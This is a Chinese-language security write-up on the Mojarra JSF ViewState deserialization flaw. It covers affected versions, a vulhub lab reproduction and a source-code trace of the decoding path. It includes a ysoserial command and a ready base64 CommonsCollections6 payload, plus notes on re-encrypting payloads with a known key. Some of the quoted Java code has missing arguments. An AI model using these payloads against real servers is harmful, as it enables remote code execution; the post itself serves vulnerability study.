Java安全之Mojarra JSF反序列化

JavaServer Faces，新一代的Java Web应用技术标准，吸收了很多Java Servlet以及其他的Web应用框架的特性。JSF为Web应用开发定义了一个事件驱动的、基于组件的模型。

其中常用的是Sun（现在的Oracle）发布的Mojarra和Apache发布的MyFaces

JavaServerFaces（JSF）概念在几年前就已经引入，现在主要在J2EE中使用

JSF 和类似的 Web 技术之间的区别在于 JSF 使用 ViewStates（除了会话）来存储视图的当前状态（例如，当前应该显示视图的哪些部分）。ViewState 可以存储在server或 上client。JSF ViewStates 通常作为隐藏字段自动嵌入到 HTML 表单中，名称为javax.faces.ViewState。如果提交表单，它们将被发送回服务器。（有点像.net中的viewstate）

如果 JSF ViewState 配置为位于client隐藏javax.faces.ViewState字段上，则包含一个至少经过 Base64 编码的序列化 Java 对象。

默认字段如下,其中javax.faces.ViewState的值为经过编码/加密处理的序列化对象

<input type="hidden" name="javax.faces.ViewState" id="j_id__v_0:javax.faces.ViewState:1" value="rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s" autocomplete="off" />

利用条件#

所有MyFaces版本1.1.7、1.2.8、2.0和更早版本，以及Mojarra 1.2.14、2.0.2

JSF2.2之前的规范要求实现加密机制，但不要求使用加密机制。

Mojarra：ViewState配置为驻留在client (javax.faces.STATE_SAVING_METHOD)

MyFaces: ViewState配置为驻留在client或 server

如果能获取到加密密钥，那么即便进行加密，依然可以利用，默认情况下，Mojarra 使用AES加密算法HMAC-SHA256验证 ViewState。

漏洞复现#

vulhub拉取镜像将代码copy出来

docker-compose up -d
docker cp 568e46fdd891:/usr/src /tmp

本地起tomcat搭建环境,vulhub用的jdk7u21链，建议本地搭的时候自己添加一个可利用的依赖

生成payload命令,记得url编码

java -jar ysoserial-for-woodpecker-0.5.2.jar -g CommonsCollections6 -a "raw_cmd:open -a Calculator" | gzip | base64
 
H4sIAL4abWMAA5WUTWjUQBTHX5Kuta3S7RZKQcQetdjEQw/VPWitFhe2VWyR4l6c7s7uppsvJ5NttoqgoAW99LC1iKA99GYVxIMieCgePIgFvSh6EUHwoKAnj/om2W2zftXmkEwy8/+99/5vMstfIOYy6JgiZaJ6XDfUY8QtjlH++Mjl+euPHvYrAL4zvQ0A5IOHQFwSru+3WUElDskWqZq1TdO2XHwaBs1yXYxLtFImhkfVcZ3mRohz1OKscvXuq5v7V3a9k0FOg4JLOCTSIrBmEKugHZ+cQnkSp0zicGgPp0ROGhKSPn5T8raN0Xs3iI56NU1mKiizPlYv3arEqwpIaWjOkyy3Gcbdm0aEFiK0GkKLILRxRiw3bzOTMoyMMQ9sEDPvWYLtqkNFols0FwHse7bweffMQpMMUga265EZl0NfZnOpeKwm+VcyUcmTU73f3vR335BFI7F9ot3J/y4G3zixeAQ4UZ7rGJTvV2XhaIteX3EWLoDiO+X6XhItVU96FtdNCuvX5rxMWWW7RFkk+uynH6Vz51cHZFAyENMHWQE97Mz8aRu16SOUF+3cKDFp404b40y3CskMLjlBGDHHKw5FTCKKGTKI64Z+1/BhSTX83OrE7bi7x6i7KnNoLVBeKxhFiagohN3pen3v+YvTa50ADi2oCbP0hIE7BAktjK9Lw1wXvy4NzCQfHA6k5WCpK+6dgaxbyJy1IXK36IFzf4OGRTS0JYB2/wKV0BTboVZPH+kZIkbWMwj2hUMT9Wl2DS6JQU8gbXcb+p+yOC1QlviwuPT94iw2TUpBLDgY/IZ8Rj1zkrIry/M726rvr9X9kX4/mPCPjjW/XXnadealAvIwtBo2yQ0Hf3UKWniRUbdoGznfqZ1VML0Vb/GgRN//CQ5kWPztBAAA

漏洞分析#

Web.xml配置，p牛的环境中是没有加密的，加密的环境后面再说

<servlet>
  <servlet-name>Faces Servlet</servlet-name>
  <servlet-class>javax.faces.webapp.FacesServlet</servlet-class>
  <load-on-startup>1</load-on-startup>
</servlet>
<!-- Map these files with JSF -->
<servlet-mapping>
  <servlet-name>Faces Servlet</servlet-name>
  <url-pattern>/faces/*</url-pattern>
</servlet-mapping>
<servlet-mapping>
  <servlet-name>Faces Servlet</servlet-name>
  <url-pattern>*.jsf</url-pattern>
</servlet-mapping>
<servlet-mapping>
  <servlet-name>Faces Servlet</servlet-name>
  <url-pattern>*.faces</url-pattern>
</servlet-mapping>
<servlet-mapping>
  <servlet-name>Faces Servlet</servlet-name>
  <url-pattern>*.xhtml</url-pattern>
</servlet-mapping>

定位到jsf-api-2.1.28.jar!/javax/faces/webapp/FacesServlet#service

debug, 跟进this.lifecycle.execute(context);

public void service(ServletRequest req, ServletResponse resp) throws IOException, ServletException {
        HttpServletRequest request = (HttpServletRequest)req;
        HttpServletResponse response = (HttpServletResponse)resp;
        this.requestStart(request.getRequestURI());
        if (!this.isHttpMethodValid(request)) {
            response.sendError(400);
        } else {
           ......
 
            FacesContext context;
            if (!this.initFacesContextReleased) {
                context = FacesContext.getCurrentInstance();
                if (null != context) {
                    context.release();
                }
 
                this.initFacesContextReleased = true;
            }
 
            context = this.facesContextFactory.getFacesContext(this.servletConfig.getServletContext(), request, response, this.lifecycle);
 
            try {
                ResourceHandler handler = context.getApplication().getResourceHandler();
                if (handler.isResourceRequest(context)) {
                    handler.handleResourceRequest(context);
                } else {
                    this.lifecycle.execute(context);
                    this.lifecycle.render(context);
                }
            }

跟进this.phases[i].doPhase ,这里会有循环遍历多个Phase对象去调用doPhase方法

继续跟进到this.execute

    public void doPhase(FacesContext context, Lifecycle lifecycle, ListIterator listeners) {
        context.setCurrentPhaseId(this.getId());
        PhaseEvent event = null;
        if (listeners.hasNext()) {
            event = new PhaseEvent(context, this.getId(), lifecycle);
        }
 
        Timer timer = Timer.getInstance();
        if (timer != null) {
            timer.startTiming();
        }
 
        try {
            this.handleBeforePhase(context, listeners, event);
            if (!this.shouldSkip(context)) {
                this.execute(context);
            }

在execute方法逻辑内，先通过facesContext.getExternalContext().getRequestMap();拿到一个RequestMap其中的值为ExternalContextImpl对象，该对象中包含了上下文、request、response等整体信息。后续跟进viewHandler.restoreView(facesContext, viewId);

继续跟进getstate

下面是一处关键点，通过刚才我们提到的ExternalContextImpl，从中对应的requestParameterMap中的key取出我们传入的payload,默认情况下是javax.faces.Viewstate，之后该值作为形参带入doGetState方法内

下面是漏洞出发点的反序列化逻辑部分

先Base64解码，解码后通过this.guard的值是否为null判断是否有加密，有加密的话会去调用this.guard.decrypt进行解密，之后ungzip解压

之后将该流转换为ApplicationObjectInputStream并有一个timeout的判断逻辑，后直接反序列化

存在加密的情况的话可能会有以下的配置

  <context-param>
    <param-name>javax.faces.STATE_SAVING_METHOD</param-name>
    <param-value>client</param-value>
  </context-param>
 
  <env-entry> 
    <env-entry-name>com.sun.faces.ClientStateSavingPassword</env-entry-name> 
    <env-entry-type>java.lang.String</env-entry-type> 
    <env-entry-value>[some secret password]</env-entry-value>
  </env-entry>

或

<context-param>
  <param-name>com.sun.faces.ClientSideSecretKey</param-name>
  <param-value>[some secret password]</param-value>
</context-param>

在ClientSideStateHelper#doGetState中有如下代码

其中guard来标识是否启用加密，有加密时会调用this.guard.decrypt进行解密

if ("stateless".equals(stateString)) {
  return null;
} else {
  ObjectInputStream ois = null;
  InputStream bis = new Base64InputStream(stateString);
 
  try {
    if (this.guard != null) {
      byte[] bytes = stateString.getBytes("UTF-8");
      int numRead = ((InputStream)bis).read(bytes, , bytes.length);
      byte[] decodedBytes = new byte[numRead];
      ((InputStream)bis).reset();
      ((InputStream)bis).read(decodedBytes, , decodedBytes.length);
      bytes = this.guard.decrypt(decodedBytes);
      if (bytes == null) {
        return null;
      }
 
      bis = new ByteArrayInputStream(bytes);
    }

加解密逻辑均在ByteArrayGuard类中，需要时扣代码即可

public byte[] decrypt(byte[] bytes) {
  try {
    byte[] macBytes = new byte[32];
    System.arraycopy(bytes, , macBytes, , macBytes.length);
    byte[] iv = new byte[16];
    System.arraycopy(bytes, macBytes.length, iv, , iv.length);
    byte[] encdata = new byte[bytes.length - macBytes.length - iv.length];
    System.arraycopy(bytes, macBytes.length + iv.length, encdata, , encdata.length);
    IvParameterSpec ivspec = new IvParameterSpec(iv);
    Cipher decryptCipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
    decryptCipher.init(2, this.sk, ivspec);
    Mac decryptMac = Mac.getInstance("HmacSHA256");
    decryptMac.init(this.sk);
    decryptMac.update(iv);
    decryptMac.update(encdata);
    byte[] macBytesCalculated = decryptMac.doFinal();
    if (this.areArrayEqualsConstantTime(macBytes, macBytesCalculated)) {
      byte[] plaindata = decryptCipher.doFinal(encdata);
      return plaindata;
    } else {
      System.err.println("ERROR: MAC did not verify!");
      return null;
    }
  } catch (Exception var10) {
    System.err.println("ERROR: Decrypting:" + var10.getCause());
    return null;
  }
}

整体逻辑为,其中看lib版本和配置来判断走不走加解密

 * Generate Payload:
 *          writeObject ==> Gzip ==> Encrpt ==> Base64Encode
 *
 * Recive Payload:
 *          Base64Decode ==> Decrpt ==> UnGzip ==> readObject